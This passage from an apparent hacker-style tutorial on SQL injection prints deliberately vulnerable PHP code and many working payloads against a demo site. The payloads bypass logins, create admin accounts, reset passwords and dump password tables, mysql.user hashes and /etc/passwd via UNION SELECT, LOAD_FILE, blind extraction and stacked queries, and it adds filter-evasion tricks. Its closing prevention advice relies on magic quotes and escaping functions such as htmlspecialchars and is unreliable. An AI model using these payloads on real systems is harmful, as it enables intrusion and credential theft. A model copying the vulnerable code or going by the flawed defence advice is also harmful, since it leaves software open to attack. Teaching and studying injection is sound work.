Sometimes happends that coders doesn’t properly sanitize 2 important variables
such as user-name and password in the login form and this involve a critical
vulnerability that will allow to the attacker the access to a reserved area.

Let’s make an example query here below:

SELECT * FROM users WHERE username = ‘admin’ and password = ‘secret’

With this query the admin supply the username ‘admin’ and the password ‘secret’
if those are true, the admin will login into the application.
Let us suppose that the script is vulnerabile to sql injection; what happends
if we know the admin username (in this case ‘admin’)? We don’t know the password, but
can we make an SQL Injection attack? Yes, easily and then we can gain the access to the application.
In this way:

SELECT * FROM users WHERE username = ‘admin’ /*’ and password = ‘foobar’

So, we supplied this information:

– As username = admin’ /*
– As password = foobar (what we want..)

Yes, the query will be true because admin is the right username but then with the
‘ /* ‘ symbol we commented the left SQL Statement.

Here below a funny (but true) example:

$sql = “SELECT permissions, username FROM $prefix”.”auth WHERE
username = ‘” . $_POST[‘username’] . “‘ AND password = MD5(‘”.$_POST[‘wordpass’].”‘);”;

$query = mysql_query($sql, $conn);

The variables passed with the POST method are not properly sanitized before being used
and an attacker can inject sql code to gain access to the application.
This is a simple attack but it has a very critical impact.
——————————————————————————-[/]

—[ 0x04: Exploiting Different SQL Statement Type ]

SQL Language uses different type of statements that could help the programmer to
make different queries to the DataBase; for example a SELECTion of record,
UPDATE, INSERTing new rows and so on. If the source is bugged an attacker can
“hack the query” in multiple ways; here below some examples.

SELECT Statement
——————

SELECT Statement is used to retrieve information from the database; and is
frequentely used “in every” application that returns information in response
to a user query. For example SELECT is used for login forms, browsing catalog, viewing
users infos, user profiles, in search engines, etc. The “point of failure” is
often the WHERE clause where exactly the users put their supplied arguments.

But sometimes happends that the “point of failure” is in the FROM clause; this
happends very rarely.

INSERT Statement
——————

INSERT statement is used to add new row in the table; and sometimes the application
doesn’t properly sanitize the data, so a query like the beneath could be vulnerable:

INSERT INTO usr (user, pwd, privilege) VALUES (‘new’, ‘pwd’, 10)

What happends if the pwd or username are not safe? We can absolutely “hack the
query” and perform a new interesting query as shown below:

INSERT INTO usr (user, pwd, privilege) VALUES (‘hacker’, ‘test’, 1)/*’, 3)

In this example the pwd field is unsafe and is used to create a new user with
the admin privilege (privilege = 1):

$SQL= “INSERT INTO usr (user, pwd, id) VALUES (‘new’, ‘”.$_GET[‘p’].”‘, 3)”;

$result = mysql_query($SQL);

UPDATE Statement
——————

UPDATE statement is used (as the word says) to UPDATE one or more records.
This type of statement is used when users (logged into the application) need
to change their own profile information; such as password, the billing address,
etc. An example of how the UPDATE statement works is shown below:

UPDATE usr SET pwd=’newpwd’ WHERE user = ‘billyJoe’ and password = ‘Billy’

The field pwd in the update_profile.php form is absolutely “a user-supply data”; so,
try to imagine what happends if the code is like the (vulnerable) code pasted below:

$SQL = “UPDATE usr SET pwd='”.$_GET[‘np’].”‘ WHERE user = ‘billyJoe’ and pwd = ‘Billy'”;
$result = mysql_query($SQL);

In this query the password needs to be correct (so, the user needs to know his own password :D)
and the password will be supplied with the GET method; but leave out this detail (it’s not so important
for our code injection) and concentrate to the new password field (supplied by $_GET[‘np’], that
is not sanitized); what happeds if we will inject our code here? Let see below:

UPDATE usr SET pwd=’owned’ WHERE user=’admin’/*’ WHERE user = ‘ad’ and pwd = ‘se’

here we just changed the admin password to ‘ owned ‘ :) sounds interesting right?

UNION SELECT Statement
————————-

The “UNION SELECT Statement” is used in SQL to combine the results of 2
or more different SELECT query; obviously in one result.
This kind of statement is very interesting because when you have a SELECT query
often you can add your own UNION SELECT statement to combine the queries (sure,
only if you have a “bugged sql statement”) and view the 2 (or more) results in only
one result set. To better understand what I mean I think is better to see an interesting
example and put our hands on it.

Here is our vulnerable code:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

$SQL = “select * from news where id=”.$_GET[‘id’];

$result = mysql_query($SQL);

if (!$result) {
die(‘Invalid query: ‘ . mysql_error());
}

// Our query is TRUE
if ($result) {
echo ‘<br><br>WELCOME TO www.victim.net NEWS<br>’;
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {

echo ‘<br>Title:’.$row[1].'<br>’;
echo ‘<br>News:<br>’.$row[2];
}

}

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

As we can see the $SQL variable is vulnerable and an attacker can inject his own
code into it and then gain interesting information. What happends if via browser we
call this URL: http://www.victim.net/CMS/view.php?id=1 ?

Nothing interesting, just our news with the ID equal to 1, here below:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

How to make this interesting? :) We can use our UNION SELECT operator, and the
resultant query will be:

select * from news where id=1 UNION SELECT * FROM usr WHERE id = 1

What is gonna happend? Look below:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?
Title:secret

News:
1

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

“Title: secret” is the admin password (ID = 1 is the admin in most cases) and the 1 in the “News:”
is the admin ID. So, why our output is so strange? This is not strange our tables has been made
in different ways. Just to make things clear look the tables below:

mysql> select * from usr;
———————–
| user   | pwd    | id    |
———————–
| admin | secret |    1 |
———————–
| ad     | aaaaa  |    2 |
———————–
| new   | test    |    5 |
———————–

mysql> select * from news;
—————————————————
| id   | title                | texts                              |
—————————————————
|    1 | testing news    | what about SQL Injection? |
—————————————————
|    2 | testing news 2 | could be bypassed easily?  |
—————————————————

Our UNION SELECT query will be:

mysql> select * from news where id = 1 union select * from usr where id = 1;
—————————————————
| id      | title              | texts                            |
—————————————————
| 1       | testing news | what about SQL Injection? |
—————————————————
| admin | secret          | 1                                   |
—————————————————

Is now clear? We have found the admin password. It’s great!

Ok, lets go deeper; what happends if we have 2 tables with a different number of
columns? Unfortunaltely UNION SELECT doesn’t work as show upon. I want to make
2 different examples to help you.

LESS FIELDS
————

mysql> select * from Anews;
————————————————
| title               | texts                                  |
————————————————
| testing news 2 | could be bypassed easily?      |
————————————————

mysql> select * from Anews union select * from usr;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

Yes, this is what happends if the UNION SELECT is used and the tables have a different
number of columns. So, what we can do to bypass this?

mysql> select * from Anews union select id, CONCAT_WS(‘ – ‘, user, pwd) from usr;
——————————————–
| title          | texts                                  |
——————————————–
| testing news 2 | could be bypassed easily? |
——————————————–
| 1                   | admin – secret                |
——————————————–
| 2                  | ad – aaaaa                      |
——————————————–
| 5                 | new – test                       |
——————————————–

We bypassed “the problem” just using a MySQL function CONCAT_WS (CONCAT can be used too).
Take in mind that different DBMS works in different way. I’m explaining in a general manner; therefore
sometimes you have to find other ways. :)

MORE FIELDS
————-

mysql> select * from fnews;
——————————————————–
| id   | pri   | title               | texts                             |
——————————————————–
|    1 |    0 | testing news 2 | could be bypassed easily? |
——————————————————–

What we can do now? Easy, just add a NULL field!!

mysql> select * from fnews union select NULL, id, user, pwd from usr;
———————————————————
| id   | pri     | title               | texts                             |
———————————————————
|    1 |    0   | testing news 2 | could be bypassed easily? |
———————————————————
| NULL |    1 | admin             | secre                            |
———————————————————
| NULL |    2 | ad                 | aaaaa                            |
———————————————————
| NULL |    5 | new               | test                              |
———————————————————

——————————————————————————-[/]

—[ 0x05: Basic Victim Fingerprinting ]

In this part of the paper I’ll explain some easy, but interesting, ways used while trying to do
information gathering before the Vulnerability Assessment and Penetration Test steps.

This is our scenario: we found a bugged Web Application on the host and we can inject our
SQL code.

So, what we need to know? Could be interesting to know the mysql server version;
maybe it’s a bugged version and we can exploit it.

How to do that? (I will not use bugged code; I’ll just make some examples. Use your
mind to understand how to use “these tips”)

mysql> select * from fnews WHERE id = 1 union select version(), NULL, NULL, NULL from usr;
—————————————————————————–
| id                               | pri     | title                | texts                            |
—————————————————————————–
| 1                                |    0   | testing news 2 | could be bypassed easily? |
—————————————————————————–
| 5.0.22-Debian               | NULL | NULL              | NULL                             |
—————————————————————————–

Here our mysql version. Also the OS has been putted on the screen :) (take in mind that
sometimes these information are modified).

Could be interesting to know the server time:

mysql> select * from fnews WHERE id = 1 union select NOW(), NULL, NULL, NULL from usr;
—————————————————————————
| id                           | pri     | title               | texts                              |
—————————————————————————
| 1                            |    0   | testing news 2 | could be bypassed easily?  |
—————————————————————————
| 2009-02-27 00:03:56 | NULL | NULL              | NULL                              |
—————————————————————————

Yes, sometimes is useful to know what is the user used to connect to the database.

mysql> select * from fnews WHERE id = 1 union select USER(), NULL, NULL, NULL from usr;

——————————————————————–
| id                  | pri     | title               | texts                             |
——————————————————————–
| 1                   |    0   | testing news 2 | could be bypassed easily? |
——————————————————————–
| omni@localhost | NULL | NULL              | NULL                             |
——————————————————————–

An interesting function implemented in mysql server is LOAD_FILE that, as the
word say, is able to load a file. What we can do with this? gain information and
read files. Here below the query used as example:

select * from news where id=1 union select NULL,NULL,LOAD_FILE(‘/etc/passwd’) from usr;

This is what my FireFox shows to me:

http://www.victim.net/CMS/view.php?id=1%20union%20select%20NULL,NULL,LOAD_FILE(‘/etc/password’)%20from%20usr;

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?
Title:

News:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[…]
[output cutted]
[…]

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

Sounds interesting right, don’t you?

Could be interesting to get some sensitive information such as mysql users and passwords
right? By injecting our code as shown below we can get such that information.

SELECT * FROM news WHERE id=’1′ UNION SELECT Host, User, Password FROM mysql.user/*’
——————————————————————————-[/]

—[ 0x06: Standard Blind SQL Injection ]

SQL Injection and Blind SQL Injection are attacks that are able to exploit a software
vulnerability by injecting sql codes; but the main difference between these attacks
is the method of determination of the vulnerability.

Yes, because in the Blind SQL Injection attacks, attacker will look the results
of his/her requests (with different parameter values) and if these results will return
the same information he/she could obtain some interesting data. (I know, it seems
a bit strange; but between few lines you will understand better).

But why Standard Blind SQL Injection? What does it mean? In this part of the paper
I’ll explain the basic way to obtain information with Blind SQL Injection without bear
in mind that this type of attacks could be optimized. I don’t wanna talk about the
methods to optimize a Blind SQL Injection attack.(Wisec found interesting things about that –
“Optimizing the number of requests in blind SQL injection”).

Ok, let’s make a step forward and begin talking about Detection of Blind SQL Injection.
To test this vulnerability we have to find a condition that is always true; for example
1=1 is always TRUE right? Yes, but when we have to inject our code in the WHERE
condition we don’t know if our new injected query will be true or false; therefore
we have to make some tests. When the query is true? The query is true when the record
returned contain the correct information. Maybe is a little bit strange this explanation but
to make things clear I wanna let you see an example. Suppose that we requested this
URL:

http://www.victim.net/CMS/view.php?id=1

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

As you can see we have just viewed our first news (id=1). What happends if we request
this other URL: http://www.victim.net/CMS/view.php?id=1 AND 1=1 ?
In our browser we just see the same page because the query is obviously true.
Here below the injected query:

SELECT * FROM news WHERE id=1 AND 1=1 LIMIT 1

Now, we (I hope)  have understood what is a Blind SQL Injection; and to understand
better how we can use this, I want to make a simple example/scenario. I’m thinking that
the web application is connected to MySQL using the user omni; how to know this by using
Blind SQL Injection? Just requesting this URL:

http://www.victim.net/CMS/view.php?id=1 AND USER()=omni@localhost’

and watch the reply sent on our browser. If in our FireFox (or whatever you want)
we will see the news with ID=1 we know that omni is the user used to connect to
the mysql deamon (because the query is true; and we found the true value to pass
to the query).
Let’s go deeper. What we can do with Blind SQL? Could be interesting to retrieve
the admin password. How to do that? First of all to understand better the
steps I’m going to explain we need to know some basic information.

Function used in MySQL:

– ASCII(str)
Returns the numeric value of the leftmost character of the string str.
Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII()
works for 8-bit characters.

mysql> select ascii(‘a’);
———–
| ascii(‘A’) |
———–
|         97 |
———–

mysql> select ascii(‘b’);
———–
| ascii(‘b’) |
———–
|         98 |
———–

– ORD(str)

If the leftmost character of the string str is a multi-byte character, returns
the code for that character, calculated from the numeric values of its constituent
bytes using this formula:

(1st byte code)
+ (2nd byte code x 256)
+ (3rd byte code x 2562) …

If the leftmost character is not a multi-byte character, ORD() returns the same value as
the ASCII() function.

– SUBSTRING(str,pos), SUBSTRING(str  FROM pos),
SUBSTRING(str,pos,len), SUBSTRING(str  FROM pos FOR len)

The forms without a len argument return a substring from string str starting at position pos.
The forms with a len argument return a substring len characters long from string str, starting
at position pos.
The forms that use FROM are standard SQL syntax. It is also possible to use a negative value
for pos. In this case, the beginning of the substring is pos characters from the end of the
string, rather than the beginning.
A negative value may be used for pos in any of the forms of this function.

– SUBSTR(str,pos), SUBSTR(str  FROM pos),
SUBSTR(str,pos,len), SUBSTR(str  FROM pos FOR len)

SUBSTR() is a synonym for SUBSTRING().

mysql> select substring(‘Blind SQL’, 1, 1);
—————————-
| substring(‘Blind SQL’, 1, 1) |
—————————-
| B                                  |
—————————-

mysql> select substring(‘Blind SQL’, 2, 1);
—————————-
| substring(‘Blind SQL’, 2, 1) |
—————————-
| l                                   |
—————————-

– LOWER(str)

Returns the string str with all characters changed to lowercase according to
the current character set mapping. The default is latin1 (cp1252 West European).

mysql> SELECT LOWER(‘SQL’);
—————-
| LOWER(‘SQL’) |
—————-
| sql               |
—————-

– UPPER(str)

Returns the string str with all characters changed to uppercase according to
the current character set mapping. The default is latin1 (cp1252 West European).

mysql> SELECT UPPER(‘sql’);
————–
| UPPER(‘sql’) |
————–
| SQL           |
————–

Now we have understood the principals MySQL functions that could be used while
trying to do a Blind SQL Injection attack. (consult MySQL reference manuals for others)

What we need again? Suppose that we know for a moment the admin password: “secret”.

mysql> select ascii(‘s’);
———–
| ascii(‘s’) |
———–
|        115|
———–

mysql> select ascii(‘e’);
———–
| ascii(‘e’) |
———–
|        101|
———–

mysql> select ascii(‘c’);
———–
| ascii(‘c’) |
———–
|         99 |
———–

mysql> select ascii(‘r’);
———–
| ascii(‘r’) |
———–
|        114|
———–

mysql> select ascii(‘t’);
———–
| ascii(‘t’) |
———–
|        116|
———–

It’s time to watch the source code:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

[ … ]

$SQL = “select * from news where id=”.$_GET[‘id’].” LIMIT 1″;

$result = mysql_query($SQL);

if (!$result) {
die(‘Invalid query: ‘ . mysql_error());
}

[ … ]

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

Now, try to “exploit the bug” by requesting this URL:
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

The query is TRUE (we know that the first letter of the password is ‘s’) and therefore, the query will be:

SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115 LIMIT 1

What is the number 115? Read upon is the ascii value of the ‘s’. We retrieved the first character
of the password (by using some MySQL functions).

.:. (SELECT pwd FROM usr WHERE id=1) => SELECT the password of the user with ID=1 (admin)
.:. (SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1) => Get the first letter of the password (in this case ‘s’)
.:. ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) => Get the ASCII code of the first letter (115 in this case)

And how to retrieve the second letter of the password? Just carry out this query:

SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101 LIMIT 1

by requesting this URL:
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101

The third character? And the others? Just make the same query with the right values.
Take in mind that you can also use the “greater then” (>) and “less then” (<) symbols
instead of the equal; to find the ASCII letter between a range of letters.
Eg.: between 100 and 116; and so on.
——————————————————————————-[/]

—[ 0x07: Double Query ]

Sometimes in some codes happends that a programmer use the MySQLi Class (MySQL Improved
Extension) that is an extension allows you to access to the functionality provided
by MySQL 4.1 and above.

I’ll explain a  very interesting bug that could be very dangerous for the
system. A not properly sanitized variable passed in the method called multi_query of
the mysqli class can be used to perform a “double” sql query injection.

mysqli_multi_query (PHP 5) is able to performs one or more queries on the
database selected. The queries executed are concatenated by a semicolon.

Look this example to know what I’m talking about:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

<?php
$mysqli = new mysqli(“localhost”, “root”, “root”, “test”);

if (mysqli_connect_errno()) {
printf(“Connect failed: %s\n”, mysqli_connect_error());
exit();
}

$query  = “SELECT user FROM usr WHERE id =”. $_GET[‘id’].”;”;
$query .= “SELECT texts FROM news WHERE id =”. $_GET[‘id’];

echo ‘UserName: ‘;

if ($mysqli->multi_query($query)) {
do {
/* the first result set */
if ($result = $mysqli->store_result()) {
while ($row = $result->fetch_row()) {
echo ” – ” .$row[0]. “<br>” ;
}
$result->free();
}
/* print divider */
if ($mysqli->more_results()) {
echo “/-/-/-/-/-/-/-/-/-/-/-/-/-/<br>”;
}
} while ($mysqli->next_result());
}

/* close connection */
$mysqli->close();
?>

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

If a user request the follow URL:

http://www.victim.net/CMS/multiple.php?id=2

The browser reply with this information:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

UserName: – ad
/-/-/-/-/-/-/-/-/-/-/-/-/-/
– could be bypassed easily?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

But the source code is bugged. The $query variable is vulnerable because
a user can supply using the GET method, an evil id and can do multiple (evil) queries.

Trying with this request:

http://localhost/apache2-default/multiple1.php?id=2; SELECT pwd FROM usr/*

We will obtain the users passwords.

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

UserName: – ad
/-/-/-/-/-/-/-/-/-/-/-/-/-/
– secret
– adpwd
– test

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/
——————————————————————————-[/]

—[ 0x08: Filters Evasion ]

Web Application could implements some input filters that prevent an attacker from
exploiting certain flaws such as SQL Injection, LFI or whatever. Therefore an application
can use some mechanism that are able to sanitize, block or parse in some ways
user-supply data. This kind of filters could be bypassed by using differents methods,
here I wanna try to give to you some ideas; but certainly one filter differ from
an other one so, you have to try/find different methods to bypass it.

– Imagine that we have to bypass a login form; but the comment symbol is blocked,
we can bypass this issue but injecting this data ‘ OR ‘a’ = ‘a instead of ‘ OR 1 = 1 /*

– The filter try to prevent an SQL Injection by using this kind of Signature: ‘ or 1=1 (Case-insensitive).
An attacker can bypass this filter using ‘ OR ‘foobar’ = ‘foobar for example.

– Suppose that the application filter the keyword “admin”, to bypass this filter we have just
to use some MySQL functions such as CONCAT or CHAR for example:
union select * from usr where user = concat(‘adm’,’in’)/*
union select * from usr where user=char(97,100,109,105,110)/*

This is only a little part of “filter evasion techniques”. Different filters work
differently, I can’t stay on this topic forever; I just gave to you some ideas.
——————————————————————————-[/]

—[ 0x09: SQL Injection Prevention ]

How to prevent this type of attacks? Here below I just wanna write some
tips that you can use to make your web application more secure.

1.) The file php.ini located on our HD (/etc/php5/apache2/php.ini, /etc/apache2/php.ini,
and so on..) can help us with the magic quote functions. Other interesting functions can
be setted to On; take a look inside this file.

Magic quotes can be used to escape automatically with backslash the user-supply single-quote (‘),
double-quote (“), backslash (\) and NULL characters.
The 3 magic quotes directives are:

– magic_quotes_gpc, that affects HTTP request data such as GET, POST and COOKIE.
– magic_quotes_runtime, if enabled, most functions that return data from an external source, will have
quotes escaped with a backslash.
– magic_quotes_sybase, that escape the ‘ with ” instead of \’.

2.) deploy mod_security for example

3.) use functions such as addslashes() htmlspecialchars(), mysql_escape_string(), etc. to validate
every user inputs.

4.) For integer input validate it by casting the variable
——————————————————————————-[/]

—[ 0x10: Conclusion ]

Here we are, at the end of this paper. As said upon, I hope you enjoyed it and
for any questions please mail me.
——————————————————————————-[/]